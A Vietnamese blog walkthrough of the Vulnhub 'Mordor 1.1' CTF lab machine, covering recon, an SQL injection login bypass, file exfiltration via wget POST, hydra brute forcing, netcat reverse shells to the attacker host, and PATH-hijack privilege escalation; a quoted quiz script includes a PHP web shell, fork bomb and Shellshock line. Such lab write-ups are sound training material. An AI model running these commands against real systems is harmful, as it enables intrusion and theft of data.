Advertisement

Responsive Advertisement

MORDOR: 1.1 ~ Vulnhub

1. Mô tả 

 Mordor-CTF

  • Author: strider
  • Testers: Kyubai
  • Difficulty: Intermediate

Mordor CTF is a CTF-Machine with a nice story.

This VM has a small touch of lord of the rings. And tells a story during part 2 of the movies.

In this VM are 9 flags to get.

This I my first VM i've created, I hope you enjoy it.

The goal is to reach the root and readout the file /root/flag.txt

If you found other ways, to reach the goal, let me know :)

What include this VM?

  • Information Gathering
  • Enumerarion
  • Cracking
  • Webexploitation
  • Reverse Engineering
  • Binary Exploitation
  • General Linux skills
  • and more...

OS:

  • Debian 10 Buster
  • IPv4 / DHCP Autoassign

For any hints contact me here [strider007 at protonmail dot com]

If you found Bugs or you have problems with the VM, you can contact me also here [strider007 at protonmail dot com]

DISCLAIMER

This VM is completely licensed under Creative Commons v3. except the elements by LOTR.

I do not own the characters and the elements of LOTR. They was used for the fanfiction story during the CTF. I do not earn money with this machine and all the other elements of this machine.

If you use parts of this machine please ensure that you remove all LOTR elements.

May work better in VIrtualBox than VMware. ## Changelog: 1.1 - 2020/01/07 1.0 - 2019/09/05

2. Tài về

3. Khai thác

Bước 1: Thu thập thông tin: 
arp-scan 192.168.44.0/24

Sau đó mình sẽ thu thập cổng dịch vụ đang mở
nmap -sV -sC 192.168.44.234

Nhận thấy victim mở 3 cổng 22,80,4000. Dịch vụ 4000 thấy dịch vụ remoteanything gì đó chắc hẳn chúng ta có thể tương tác gì đó.
Mình thử dùng lệnh netcat để xem cổng 4000 có gì không
nc 192.168.44.234 4000

Không có gì đặc sắc ngoafii chữ LORD OF THE RINGS đây là từ nổi tiếng trong bộ phim chúa tể của những chiếc nhẫn từng chiếu VTV1
Mình vô website thì không có gì đặc biệt, đi thử tìm các đường dẫn có url khác có thể khai thác bằng công cụ gobuster kết quả cũng không có gì cả. Mình lên mạng thìm thông tin wikipedia với từ khóa mordor và  LORD OF THE RINGS và phát hiện đoạn này

Thấy chữ bội xanh black gate mình thử vô web với url con này xem thế nào

Mình thu được là cờ đầu tiên, dữ lại và đem mã trong lá cờ giải mã thu được giá trị flag{disquise} 
Mình tìm các đường dẫn khác sau đường dẫn url /blackgate
gobuster dir -u http://192.168.44.234/blackgate/ -w /usr/share/wordlists/dirbuter/directory-list-2.3-medium.txt -t 50 -b 404

Thu được đường dẫn  /admin mình truy cập vào 

Với form đăng nhập này mình sẽ thử đăng nhập một số thông tin cơ bản nhưng không ăn thua và không được. Mình thử lỗi SQLi ở trường mật khẩu nhập password như sau:
'or 1=1 -- -

Thành công đăng nhập. Mở mã nguồn, kiểm tra cookie bằng f12 phát hiện 

You found a way to bypass the black gate. A small hole in the rocks gives you an entrance to mordor. During the walk yo find a piece of paper. On the paper ther are a hint, there orcs on the other side. The last line looks like a key \"orc + flag = t22.\"
Đoạn này cho chúng ta cho thông tin ở đoạn cuối trong dấu " "  thấy thông tin có orc + flag = t22 mình có suy nghĩ tại sao nó lại orc và flag rồi bằng t22. Liệu đây sẽ là thông tin để đăng nhập SSH không vì t22 ám chỉ port 22 dịch vụ SSH và mình thử đăng nhập với user orc mật khẩu là nội dung flag 1 mình giải mã được ở trên.

Bước 2: Khai thác dịch vụ SSH
Mình thử dùng lệnh và phát hiện nó có hạn chế

Thấy thư mục bin/ mình nghĩ trong này sẽ cho chúng ta thông tin về những lệnh có thể sử dụng được. Mình kiểm tra trong nó có gì bằng lệnh:
ls -la bin/

Nhìn ở đây thấy lệnh khá hạn chế với user này. Mình thấy có lệnh door và outpost rất lạ mình thử tải nó về để phân tích xem sao. Nhưng lệnh đều bị hạn chế và mình tìm hiểu được có một đoạn mã code có thể tải tệp tin sử dụng POST python. 
Trên máy kali mình tạo tệp tin down-post.py:
import SimpleHTTPServer
import SocketServer


PORT = 8082

class ServerHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):

    def do_POST(self):
      content_len = int(self.headers.getheader('content-length', 0))
      post_body = self.rfile.read(content_len)
      file_down = open("myfile","w")
      file_down.write(post_body)
      file_down.close()

      

Handler = ServerHandler

httpd = SocketServer.TCPServer(("", PORT), Handler)

print "serving at port", PORT
httpd.serve_forever()
Trên máy victim:
export URL=http://ip_kali:8082/
export FILE1=bin/outpost
export FILE2=bin/door
wget --post-file=$FILE1 $URL
wget --post-file=$FILE2 $URL
Lưu ý: Cần tái tạo lập tên file khác nhau để ghi sau đó sẽ thực hiện  
Sử dụng lệnh strings để phân tích từng tệp tin mình thấy được cờ và thông tin từ khóa là badpassword cho lệnh door khi chạy.


Một điều đặc biệt giải mã cờ đó lại thu được giá trị flag{badpassword}
Mình chạy lệnh door và nhập từ badpassword, mình thấy có vẻ không thực hiện thêm một số lệnh

Nhưng mình thử dùng lệnh cd thấy được, truy cập tới đường dẫn root, phát hiện 2 thư mục minasmorgul với quyền user nazgul và whistleblow với quyền user orc
cd /
Mình truy cập vào thư mục whistleblow để xem thấy có tệp tin ảnh là Orc.jpg
cd whistleblow/
Mình thực hiện tương tự như việc tải tệp tin ở thư mục bin/ ở trên để tải tệp tin này về
steghide extract -sf Orc.jpg -xf out.txt (Mật khẩu để trắng)
cat out.txt


Thấy  được lá cờ thứ 3 mình giải mã thu được flag{23lorlorck}. Có thể giá trị trong flag này là một mật khẩu của user nào đó. Bên máy victim mình đến thư mục /etc/passwd thấy các user khác ngoài orc có: nazgul,developer, barad_dur
/bin/cat /etc/passwd

Mình đem danh sách user đó mình thực hiện tìm user với mật khẩu 23lorlorck xem là của user nào
hydra -l user.txt -P 23lorlorck 192.168.44.234 ssh



Mình thực hiện login ssh với user nazgul tìm được và thử một lệnh thì thấy khi dùng xong nó là bị out khỏi phiên với user này luôn chứng tỏ nó hạn chế về quyền dùng lệnh








Mình tiến hành tạo một tệp tin reverse shell  ở bên user orc
echo "/bin/nc ip_kali 4444 -e /bin/sh &" > /tmp/shell.sh
/usr/bin/chmod 777 /tmp/shell.sh
Sau đó mình đăng nhập vào user nazgul để chạy tệp shell.sh, đồng thời mởi một trình lắng nghe bên máy kali với cổng 4444. Sau đó mình vào thư mục minasmorgul tháy một tệp tin flag.txt để thu được cờ thứ tư là flag{baraddur}

Giá trị trong cờ giống tên một user trong danh sách là barad_dur mình dự đoán đây là mật khẩu của user đó, mình tiến hành đăng nhập và kiểm tra thành công
su barad_dur
ls -la
python -c 'import pty; pty.spawn("/bin/bash")'  # ( lệnh này hiển thị thông tin user)

Thư mục của user barad_dur
Nhưng thật thú vị khi chạy lệnh python mình thu được lá cờ thứ năm:  flag{tidusauronyuna}



Tiếp tục chờ xem thế nào thì nó hiển thị ra một câu hỏi cần trả lời 

Mình không biết tìm đâu ra câu trả lời, mình nhớ đến tệp tin sauron.py, plans mình tải về để xem:
scp barad_dur@ịp_kali:sauron.py .
scp barad_dur@ịp_kali:plans .
Mình đọc tệp tin sauron.py này phát hiện kỳ thú là câu trả lời câu hỏi ở trên
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import os, subprocess, time, random
faqs = {
1: ['Translate this to ascii "2f6574632f706173737764"', '/etc/passwd'],
2: [
"""
What returns this function with the parameters 0x4343, 0xff? Result starts with 0x\n
_func:
push ebp
mov ebp,esp
mov eax, DWORD [ebp+0x8]
mov edx, DWORD [ebp+0xc]
add eax, edx
pop ebp
ret
""", '0x4442'],
3: ["""Translate this to ascii
00111100 00111111 01110000 01101000 01110000 00100000
01100101 01100011 01101000 01101111 00100000 01110011
01101000 01100101 01101100 01101100 01011111 01100101
01111000 01100101 01100011 00101000 00100100 01011111
01000111 01000101 01010100 01011011 00100111 01100011
01101101 01100100 00100111 00101001 00111011 00111111
00111110""", '<?php echo shell_exec($_GET[\'cmd\');?>'],
4: [
"""
What returns this function with the parameters 0x3333, 0x1121? Result starts with 0x\n
_func:
push ebp
mov ebp,esp
mov eax, DWORD [ebp+0x8]
mov edx, DWORD [ebp+0xc]
add eax, edx
pop ebp
ret
""", '0x4454'],
5: [
"""
What returns this function with the parameters 0xd58dc4b3, 0x091ffa3c? Result starts with 0x\n
_func:
push ebp
mov ebp,esp
mov eax, DWORD [ebp+0x8]
mov edx, DWORD [ebp+0xc]
_loop:
add eax, 0x1
dec edx
cmp edx, 0x00
je _end
jmp _loop
_end:
pop ebp
ret
""", '0xdeadbeef'],
6: ['Which password is here? $1$xJY6LO3c$FTt05FYNiqbk2S0Q6YZ3l/', 'password1'],
7: ['Which plain is here? $1$xJY6LO3c$MZdoxdaoQXpHHWbxiqrGw.', '12lotr'],
8: ['Which text is here? $6$2S0Q6YZa$anDqTZkR9eL.Uv0gniNSZgcPuIJs/tM2MFiJIO65cOHPQt4NyvRd1/NVQkq7edaeFkQ.K8ds3t2hXg/8C8l2w.', 'gandalf19'],
9: ['What is this? :(){: |:&};:', 'forkbomb'],
10: ['What is that? env X\'() { :; }; /bin/cat /etc/shadow\' bash -c echo', 'shellshock']
}
lp = 3
random.seed(time.time())
n = 0
while n < 5:
try:
print("You have " + str(lp) + " lifepoints")
rnd = random.randint(1, len(faqs))
faq = faqs[rnd]
print(faq[0])
answer = input('Answer: ')
if answer == faq[1]:
lp +=1
else:
lp -=1
n += 1
except EOFError:
lp -= 1
n += 1
pass
if lp == 0:
print("Youre dead")
os.system("pkill -KILL -u barad_dur")
if lp > 0:
print("You defeated Sauron")
Mình thực hiện lại lệnh python và trả lời câu hỏi thu được 3 lá cờ:
flag{bekboevanazgulia}
flag{melkor}
flag{1ringtorulethem}
Và thành công hiển thị thông tin user. Mình sử dụng lệnh hiển thị thông tin tệp tin phát hiện tệp plans có quyền suid, mình có thể dựa vào đó để leo thăng mình, phải tìm xem tập lệnh này leo thăng băng lệnh gì được. Như ở trên mình thực hiện cài đặt công cụ cutter để dịch ngược tệp tin.
chmod +x Cutter*.AppImage; ./Cutter*.AppImage
Mở tệp tin plans đó trong trình dịch ngược này mình phát hiện nó dùng ls hiện thị tệp tin trong thư mục root/
Do nó lệnh đó có thể thực thi dưới đặc quyền root mà không cần mật khẩu nên mình tạo tệp tin reverse shell leo thang
export PATH=/tmp:$PATH
echo "nc ip_kali 1337 -e /bin/sh" > /tmp/ls
chmod 777 /tmp/ls
Thực hiện chạy lệnh plans với user barad_dur đó và đồng thời máy kali bật cổng lắng nghe và thành công leo thang.
Mình tiến hành đọc cờ cuối khi leo thang

😁😁😁😁😁😁 
-----The end ----

Post a Comment

0 Comments